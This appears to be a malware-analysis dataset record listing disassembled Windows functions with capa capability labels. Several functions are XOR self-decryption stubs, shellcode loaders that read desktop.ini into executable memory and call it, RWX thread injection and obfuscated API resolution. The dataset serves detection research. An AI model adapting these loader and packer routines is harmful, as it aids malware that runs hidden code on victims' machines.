joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x402a7e
Capabilities:
Encode data using xor

Disassembly:
push esi
xor esi, esi
push edi
mov edi, dword [esp + 0xc]
cmp dword [esp + 0x10], esi
jbe 0x402acb
mov al, byte [edi + esi]
xor al, 0x73
sub al, 0x58
push 0x41f390
push 0x4738b0
mov byte [edi + esi], al
call fcn.00401374
push eax
call fcn.004019f8
mov al, byte [edi + esi]
add esp, 0xc
sub al, 0x14
xor al, 0x74
add al, 0x4e
xor al, 0x70
sub al, 0x65
xor al, 0x22
sub al, 0x73
xor al, 0x2a
mov byte [edi + esi], al
inc esi
cmp esi, dword [esp + 0x10]
jb 0x402a8c
pop edi
pop esi
ret

Function at 0x402f68
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x472700]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x41f3b0
lea ecx, [ebp - 0x1c]
call fcn.00401af2
push 0xc
call fcn.004065e4
xor esi, esi
pop ecx
test eax, eax
je 0x402fa1
lea ecx, [ebp - 0x1c]
push ecx
mov ecx, eax
call fcn.00401b4b
jmp 0x402fa3
mov eax, esi
mov eax, dword [eax + 4]
shl eax, 2
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
push 0x40
push 0x4ac
push 0x472220
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
call dword [sym.imp.KERNEL32.DLL_FreeConsole]
push esi
push esi
push esi
push 0x402a6c
push esi
push esi
call dword [sym.imp.KERNEL32.DLL_CreateThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
call fcn.00402a52
mov edx, 0x472220
add edx, 0x188
mov esi, str.T_Ye
push esi
call edx
lea ecx, [ebp - 0x1c]
call fcn.00402918
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.00406622
leave
ret

Function at 0x4071ff
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
test eax, eax
je 0x40723e
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40723e
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40723e
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40723e
cmp dword [ecx + 0x74], 0xe
jbe 0x40723e
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x411ef9
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x422500
push 0x4224f8
push 0x420d94
push 0x1e
call fcn.00411d66
mov esi, eax
add esp, 0x10
test esi, esi
je 0x411f2d
push dword [ebp + 8]
mov ecx, esi
call dword [0x41f140]
call esi
jmp 0x411f33
call dword [sym.imp.KERNEL32.DLL_TlsAlloc]
pop esi
pop ebp
ret 4
Function at 0x414426
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004140c8

Function at 0x414431
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00414257

Function at 0x41482b
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00407370
mov eax, dword [0x472700]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.004132bd
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x41486d
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x4149c9
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.0041dd40
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x474248]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.004159fb
mov ecx, dword [esi*4 + 0x474248]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x4149c2
cmp eax, dword [edi + ecx + 0x24]
jne 0x4149c2
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
je 0x4149c2
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.004159fb
add esp, 0x14
test edx, edx
jl 0x4149c2
jg 0x414938
test eax, eax
jb 0x4149c2
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x4149c2
jl 0x414952
cmp dword [ebp - 0x1008], eax
ja 0x4149c2
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x414970
test ebx, ebx
je 0x4149a9
cmp ecx, edi
jae 0x4149a9
mov al, byte [ecx]
cmp al, 0xd
jne 0x41498a
lea eax, [edi - 1]
cmp ecx, eax
jae 0x414996
cmp byte [ecx + 1], 0xa
jne 0x414996
inc ecx
jmp 0x414996
movzx eax, al
movsx eax, byte [eax + 0x4729d0]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x414970
cmp edx, ebx
jne 0x414970
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x4149c7
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00406622
leave
ret
Function at 0x414e99
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x474248]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x414ed9
cmp byte [ebx], 0xa
jne 0x414ed9
or byte [eax + edi + 0x28], 4
jmp 0x414ede
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x414fdc
mov al, byte [edx]
cmp al, 0x1a
je 0x414fbe
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x414f0d
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x414f32
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x414f3c
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x414eef
jmp 0x414fdc
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
je 0x414fb9
cmp dword [ebp - 0xc], 0
je 0x414fb9
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x474248]
test byte [eax + edi + 0x28], 0x48
je 0x414f93
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x414f7e
mov byte [esi], dl
jmp 0x414f8f
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x474248]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x414fdc
cmp byte [ebp - 1], 0xa
jne 0x414fa2
cmp esi, ebx
jne 0x414fa2
mov byte [esi], 0xa
jmp 0x414fdb
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00415a19
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x414fdc
mov byte [esi], 0xd
jmp 0x414fdb
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x474248]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x414fd8
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x414fdc
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x414fe5
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x474248]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x415028
cmp word [esi], dx
jne 0x415028
or byte [edi + eax + 0x28], 4
jmp 0x41502d
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x415180
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x415160
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x41506f
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x4150a5
cmp eax, edx
jae 0x4150b1
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x415047
jmp 0x415180
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
je 0x41515c
cmp dword [ebp - 0x14], 0
je 0x41515c
mov eax, dword [ebx*4 + 0x474248]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x415134
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x4150fd
mov word [esi], cx
jmp 0x415130
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x474248]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x474248]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x474248]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x415180
pop ebx
cmp word [ebp - 4], bx
jne 0x415145
cmp esi, dword [ebp + 0xc]
jne 0x415145
mov word [esi], bx
jmp 0x41517d
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.00415a19
add esp, 0x10
cmp word [ebp - 4], bx
je 0x415180
push 0xd
jmp 0x415179
mov ecx, dword [ebx*4 + 0x474248]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x415177
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x415180
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x4022c2
Capabilities:
Terminate process

Disassembly:
push 0x14
push 0x403f18
call fcn.0040281c
push 1
call fcn.00402599
pop ecx
test al, al
jne 0x402179
push 7
call fcn.00402a30
xor bl, bl
mov byte [ebp - 0x19], bl
and dword [ebp - 4], 0
call fcn.00402564
mov byte [ebp - 0x24], al
mov eax, dword [0x405338]
xor ecx, ecx
inc ecx
cmp eax, ecx
je 0x402172
test eax, eax
jne 0x4021e3
mov dword [0x405338], ecx
push 0x4032a4
push 0x40328c
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm_e
pop ecx
pop ecx
test eax, eax
je 0x4021c6
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x4022bc
push 0x403288
push 0x403274
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
pop ecx
pop ecx
mov dword [0x405338], 2
jmp 0x4021e8
mov bl, cl
mov byte [ebp - 0x19], bl
push dword [ebp - 0x24]
call fcn.00402706
pop ecx
call fcn.00402a24
mov esi, eax
xor edi, edi
cmp dword [esi], edi
je 0x402218
push esi
call fcn.0040267c
pop ecx
test al, al
je 0x402218
push edi
push 2
push edi
mov esi, dword [esi]
mov ecx, esi
call fcn.004027cc
call esi
call fcn.00402a2a
mov esi, eax
cmp dword [esi], edi
je 0x402236
push esi
call fcn.0040267c
pop ecx
test al, al
je 0x402236
push dword [esi]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__register_thread_local_exe_atexit_callback
pop ecx
call fcn.00402b46
movzx eax, ax
push eax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__get_wide_winmain_command_line
push eax
push edi
push 0x400000
call main
mov esi, eax
call fcn.00402b79
test al, al
jne 0x402261
push esi
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
test bl, bl
jne 0x40226a
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
push edi
push 1
call fcn.00402723
pop ecx
pop ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
jmp 0x4022bc
call fcn.00402861
ret
call fcn.0040200b
jmp 0x40215a

Function at 0x414b4b
Capabilities:
Resolve function by parsing pe exports

Disassembly:
jne 0x414ac9
nop
mov edi, dword [edx + 0x1c]
mov esi, dword [edx + 0x24]
jmp 0x414be3
push 0xffffffffffffffff
mov ah, 0x80
xor edi, 0xfd8f02d8
or eax, 0xfffffff5
mov eax, ebp
lea esi, [ebx + esi]
pop ecx
jmp 0x414ac9
mov ch, ch
cld
lea esi, [esi]
mov ch, ch
not edi
not edi
nop
cmp ecx, dword [edx + 0x18]
lea edi, [edi]
wait
wait
mov esi, esi
nop
xchg ebp, esi
xchg ebp, esi
je 0x414b40
mov eax, eax
add cl, 0
mov dh, dh
sub eax, eax
jmp 0x414ba9
mov esi, dword [edi + eax*4]
not edx
add esi, ebx
mov dl, bh
mov ah, al
ret 4
lodsd eax, dword [esi]
inc ecx
lea edi, [eax + ebx]
jmp 0x4149e2
ret
mov eax, dword [ebx + 0x3c]
mov edx, dword [eax + ebx + 0x78]
inc esi
add cl, dh
dec ecx
inc edi
nop
cld
lea edx, [edx + ebx]
nop
cwde
cmp eax, esp
not ch
mov esi, dword [edx + 0x20]
jmp 0x4149ca
or ecx, 0
sub dword [esp], eax
movzx eax, byte [edi]
inc edi
sub dword [esp], eax
jmp 0x414c53
push eax
shl eax, 4
xchg dword [esp], eax
jmp 0x414b97
cld
add esi, ebx
add edi, ebx
movzx eax, word [esi + ecx*2]
jmp 0x414ab3
wait
wait
mov esi, esi
xchg dl, ch
xchg dl, ch
cld
cld
lea ecx, [ecx]
mov ah, ah
pop eax
cmp byte [edi], 0
xchg ebp, eax
xchg ebp, eax
jne 0x414ba9
wait
nop
xor eax, 0x62494bf3
cld
not edi
not edi
not ebx
not ebx
not dl
not dl
nop
mov ebp, ebp
cmp eax, dword [esp + 4]
jmp 0x4149b8
Function at 0x10001290
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x230
mov eax, dword [0x1002da4c]
xor eax, esp
mov dword [esp + 0x22c], eax
lea eax, [esp + 0x10]
push eax
push str.SoftwareMicrosoftMultimediaAudioWaveFormats
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x100012d4
xor eax, eax
mov ecx, dword [esp + 0x22c]
xor ecx, esp
call fcn.100116bf
add esp, 0x230
ret
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x2c]
push edx
lea eax, [esp + 0x1c]
push eax
mov eax, dword [esp + 0x2c]
xor esi, esi
push esi
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x50]
push edx
push esi
mov ebp, 0x12
mov ebx, 0x200
push eax
mov dword [esp + 0x44], esi
mov dword [esp + 0x34], 3
mov dword [esp + 0x3c], ebp
mov dword [esp + 0x30], ebx
call edi
test eax, eax
jne 0x10001389
mov eax, 1
cmp word [esp + 0x28], ax
jne 0x1000134a
cmp word [esp + 0x2a], 2
jne 0x1000134a
cmp dword [esp + 0x2c], 0xac44
jne 0x1000134a
cmp word [esp + 0x36], 0x10
je 0x10001385
lea ecx, [esp + 0x1c]
push ecx
add esi, eax
lea edx, [esp + 0x2c]
push edx
lea eax, [esp + 0x1c]
push eax
mov eax, dword [esp + 0x2c]
push 0
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x50]
push edx
push esi
push eax
mov dword [esp + 0x34], 3
mov dword [esp + 0x3c], ebp
mov dword [esp + 0x30], ebx
call edi
test eax, eax
je 0x10001324
jmp 0x10001389
mov dword [esp + 0x24], eax
mov ecx, dword [esp + 0x20]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ecx
call esi
cmp dword [esp + 0x24], 0
je 0x100013fc
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea edx, [esp + 0x18]
push edx
push str.SoftwareMicrosoftMultimediaAudio
push 0x80000001
call ebx
test eax, eax
jne 0x100013fc
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x18]
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push eax
lea ecx, [esp + 0x40]
push ecx
mov ebp, 1
push ebp
push 0
push str.DefaultFormat
push edx
mov dword [esp + 0x2c], ebp
call edi
mov eax, dword [esp + 0x18]
push eax
call esi
lea ecx, [esp + 0x18]
push ecx
push str..DEFAULTSoftwareMicrosoftMultimediaAudio
push 0x80000003
call ebx
test eax, eax
je 0x10001400
xor eax, eax
jmp 0x10001426
mov edx, dword [esp + 0x10]
mov ecx, dword [esp + 0x18]
push edx
lea eax, [esp + 0x40]
push eax
push ebp
push 0
push str.DefaultFormat
push ecx
mov dword [esp + 0x2c], ebp
call edi
mov edx, dword [esp + 0x18]
push edx
call esi
mov eax, ebp
mov ecx, dword [esp + 0x23c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.100116bf
add esp, 0x230
ret
Function at 0x100016d0
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x110
mov eax, dword [0x1002da4c]
xor eax, esp
mov dword [esp + 0x10c], eax
push esi
lea eax, [esp + 4]
push eax
push 0xf023f
xor esi, esi
push esi
push str.SoftwareRealtek
push 0x80000002
mov dword [esp + 0x1c], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10001743
mov eax, dword [esp + 4]
push esi
push esi
push esi
push esi
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x20]
push edx
push esi
push eax
mov dword [esp + 0x28], 0x104
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
cmp eax, 0x103
jne 0x10001738
mov esi, 1
mov ecx, dword [esp + 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x110]
mov eax, esi
pop esi
xor ecx, esp
call fcn.100116bf
add esp, 0x110
ret

Function at 0x10001760
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x110
mov eax, dword [0x1002da4c]
xor eax, esp
mov dword [esp + 0x10c], eax
push esi
lea eax, [esp + 4]
push eax
push 0xf013f
xor esi, esi
push esi
push str.SoftwareRealtek
push 0x80000002
mov dword [esp + 0x1c], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100017d3
mov eax, dword [esp + 4]
push esi
push esi
push esi
push esi
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x20]
push edx
push esi
push eax
mov dword [esp + 0x28], 0x104
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
cmp eax, 0x103
jne 0x100017c8
mov esi, 1
mov ecx, dword [esp + 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x110]
mov eax, esi
pop esi
xor ecx, esp
call fcn.100116bf
add esp, 0x110
ret

Function at 0x100017f0
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x110
mov eax, dword [0x1002da4c]
xor eax, esp
mov dword [esp + 0x10c], eax
push esi
lea eax, [esp + 4]
push eax
push 0xf023f
xor esi, esi
push esi
push str.SoftwareRealtek
push 0x80000001
mov dword [esp + 0x1c], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10001863
mov eax, dword [esp + 4]
push esi
push esi
push esi
push esi
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x20]
push edx
push esi
push eax
mov dword [esp + 0x28], 0x104
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
cmp eax, 0x103
jne 0x10001858
mov esi, 1
mov ecx, dword [esp + 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x110]
mov eax, esi
pop esi
xor ecx, esp
call fcn.100116bf
add esp, 0x110
ret
Function at 0x10001880
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x110
mov eax, dword [0x1002da4c]
xor eax, esp
mov dword [esp + 0x10c], eax
push esi
lea eax, [esp + 4]
push eax
push 0xf013f
xor esi, esi
push esi
push str.SoftwareRealtek
push 0x80000001
mov dword [esp + 0x1c], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100018f3
mov eax, dword [esp + 4]
push esi
push esi
push esi
push esi
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x20]
push edx
push esi
push eax
mov dword [esp + 0x28], 0x104
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
cmp eax, 0x103
jne 0x100018e8
mov esi, 1
mov ecx, dword [esp + 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x110]
mov eax, esi
pop esi
xor ecx, esp
call fcn.100116bf
add esp, 0x110
ret
Function at 0x10001ed0
Capabilities:
Check os version
Identify system language via api

Disassembly:
sub esp, 0xa0
mov eax, dword [0x1002da4c]
xor eax, esp
mov dword [esp + 0x9c], eax
push ebx
push ebp
push esi
mov esi, dword [esp + 0xb0]
push edi
push str.IsWow64Process
push str.kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ebx, ebx
mov edi, eax
cmp edi, ebx
lea ebp, [esi + 0x24]
mov dword [ebp], ebx
je 0x10001f1e
push ebp
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call edi
lea eax, [esp + 0x10]
push eax
mov dword [esi], ebx
mov dword [esi + 4], ebx
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
mov dword [esi + 0x10], ebx
mov dword [esi + 0x14], ebx
mov dword [esi + 0x18], ebx
mov dword [esi + 0x1c], ebx
mov dword [esi + 0x20], ebx
mov dword [esi + 0x28], ebx
mov dword [esi + 0x2c], ebx
mov dword [esi + 0x30], ebx
mov dword [esi + 0x34], ebx
mov dword [esp + 0x14], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [esp + 0x20], 2
jne 0x10001fb5
mov ecx, dword [esp + 0x14]
cmp ecx, 5
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov dword [esi], ecx
mov dword [esi + 4], eax
mov dword [esi + 8], edx
jne 0x10001f96
cmp eax, ebx
lea edi, [ecx - 4]
jne 0x10001f83
mov dword [esi + 0xc], edi
jmp 0x10001fdd
cmp eax, edi
jne 0x10001f8c
mov dword [esi + 0x10], edi
jmp 0x10001fdd
cmp eax, 2
jne 0x10001fb5
mov dword [esi + 0x14], edi
jmp 0x10001fdd
cmp ecx, 6
jne 0x10001fd0
cmp eax, ebx
lea edi, [ecx - 5]
jne 0x10001fa7
mov dword [esi + 0x18], edi
jmp 0x10001fdd
cmp eax, edi
jne 0x10001fb0
mov dword [esi + 0x1c], edi
jmp 0x10001fdd
cmp eax, 2
jae 0x10001fda
xor eax, eax
mov ecx, dword [esp + 0xac]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.100116bf
add esp, 0xa0
ret
cmp ecx, 7
jb 0x10001fb5
mov edi, 1
mov dword [esi + 0x20], edi
mov al, byte [esp + 0xaa]
cmp al, 3
je 0x10001fec
cmp al, 2
jne 0x10001fef
mov dword [esi + 0x28], edi
cmp dword [esi + 0x14], ebx
je 0x10002004
cmp dword [esi + 0x28], ebx
jne 0x10002004
cmp dword [ebp], ebx
je 0x10002004
mov dword [esi + 0x14], ebx
mov dword [esi + 0x10], edi
movzx eax, word [esp + 0xa4]
movzx ecx, word [esp + 0xa6]
push 0x57
mov dword [esi + 0x30], eax
mov dword [esi + 0x34], ecx
call dword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [esi + 0x2c], eax
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
